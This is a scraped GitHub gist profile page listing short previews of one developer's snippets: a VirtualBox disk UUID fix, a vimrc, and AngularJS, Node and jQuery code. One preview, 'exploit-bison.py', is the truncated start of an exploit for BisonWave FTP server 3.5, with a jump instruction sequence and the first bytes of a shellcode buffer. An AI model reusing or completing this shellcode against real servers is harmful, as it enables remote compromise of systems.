Skip to content

Instantly share code, notes, and snippets.

Avatar
💭
exterminating alien codes #happyNewYear2637

\x90sgt.BillRizer BillRizer

💭
exterminating alien codes #happyNewYear2637
View GitHub Profile
@BillRizer
BillRizer / gist:49fb0b016d76bd26f41bb749d36e8724
Created Feb 8, 2020
How to Fix, VirtualBox UUID already exists hard disk (ubuntu / windows)
View gist:49fb0b016d76bd26f41bb749d36e8724
“Failed to open the hard disk E:\VirtualBox VMs\Windows 8 \Windows 8 Enterprise2.vhd.
Cannot register the hard disk ‘E:\VirtualBox VMs\Windows 8 \Windows 8 Enterprise2.vhd’
{ca2bdc6a-a487-4e57-9fcd-509d0c31d86d} because a hard disk
‘E:\VirtualBox VMs\Windows 8 Enterprise\Windows 8 Enterprise2.vhd’ with UUID {ca2bdc6a-a487-4e57-9fcd-509d0c31d86d} already exists.
Result Code:
E_INVALIDARG (0x80070057)
Component:
VirtualBox
Interface:
IVirtualBox {3b2f08eb-b810-4715-bee0-bb06b9880ad2}
@BillRizer
BillRizer / exploit-bison.py
Created Nov 5, 2019
Exploit BisonWave FTP server v.3.5
View exploit-bison.py
#!/usr/bin/python
import socket,time
#jump memory code
jmp = "\x83\xEB\x32"*8
jmp += "\xff\xe3"
#exploit code
buf = ""
buf += "\xbe\xa8\x9a\x2c\x48\xda\xce\xd9\x74\x24\xf4\x5d\x31"
View .vimrc (using vundle)
set nocompatible
syntax on
set nowrap
set encoding=utf8
"""" START Vundle Configuration
" Disable file type for vundle
filetype on " required
View controller a la Papa
angular
.module('starter')
.controller('ListCarsCtrl', controller)
controller.$inject = ['$location'];
function controller($location) {
/* jshint validthis:true */
var vm = this;
vm.cars=[];
View server & client node
const restify = require('restify');
const requestify = require('requestify');
const handle = res => {
return res.code == '200' ? res.getBody().cep : null;
};
const handleReject = res =>{
return null
};
@BillRizer
BillRizer / helper-factory.js
Created Mar 28, 2017
transform keys of json to lowercase
View helper-factory.js
angular.module('app')
.factory('helperFactory', function () {
return {
keysToLowerCase: function (obj) {
var output = {};
for (i in obj) {
if (Object.prototype.toString.apply(obj[i]) === '[object Object]') {
output[i.toLowerCase()] = this.keysToLowerCase(obj[i]);
} else {
output[i.toLowerCase()] = obj[i];
View flatter obj example
//GET -> http://pokeapi.co/api/v2/pokemon/1/
var json = {
"name": "bulbasaur",
'id':10,
stats: [
{
stat: {
url: "http://pokeapi.co/api/v2/stat/6/",
name: "speed"
},
@BillRizer
BillRizer / autocomplete.js
Created Aug 26, 2015
Autocomplete Jquery UI search without accent
View autocomplete.js
////code.jquery.com/ui/1.11.4/jquery-ui.js
$(function() {
var projects = [
{
value: "pri",
label: "teste"
},
{
value: "seg",
label: "téste"